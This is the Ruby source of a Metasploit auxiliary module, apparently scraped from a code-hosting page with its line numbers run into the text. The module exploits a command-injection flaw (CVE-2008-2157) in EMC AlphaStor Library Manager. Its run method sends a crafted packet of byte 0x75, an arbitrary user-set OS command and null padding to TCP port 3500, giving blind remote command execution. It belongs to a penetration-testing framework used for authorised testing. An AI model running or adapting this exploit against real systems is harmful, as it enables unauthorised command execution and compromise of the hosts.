Path: blob/master/modules/auxiliary/admin/emc/alphastor_librarymanager_exec.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp78def initialize(info = {})9super(10update_info(11info,12'Name' => 'EMC AlphaStor Library Manager Arbitrary Command Execution',13'Description' => %q{14EMC AlphaStor Library Manager is prone to a remote command-injection vulnerability15because the application fails to properly sanitize user-supplied input.16},17'Author' => [ 'MC' ],18'License' => MSF_LICENSE,19'References' => [20[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=703' ],21[ 'CVE', '2008-2157' ],22[ 'OSVDB', '45715' ],23[ 'BID', '29398' ],24],25'DisclosureDate' => '2008-05-27',26'Notes' => {27'Stability' => [CRASH_SAFE],28'SideEffects' => [IOC_IN_LOGS],29'Reliability' => []30}31)32)3334register_options(35[36Opt::RPORT(3500),37OptString.new('CMD', [ false, 'The OS command to execute', 'echo metasploit > metasploit.txt']),38]39)40end4142def run43connect4445data = "\x75" + datastore['CMD']46pad = "\x00" * 5124748pkt = data + pad4950# commands are executed blindly.51print_status("Sending command: #{datastore['CMD']}")52sock.put(pkt)5354select(nil, nil, nil, 1)5556sock.get_once5758print_status("Executed '#{datastore['CMD']}'...")5960disconnect61end62end636465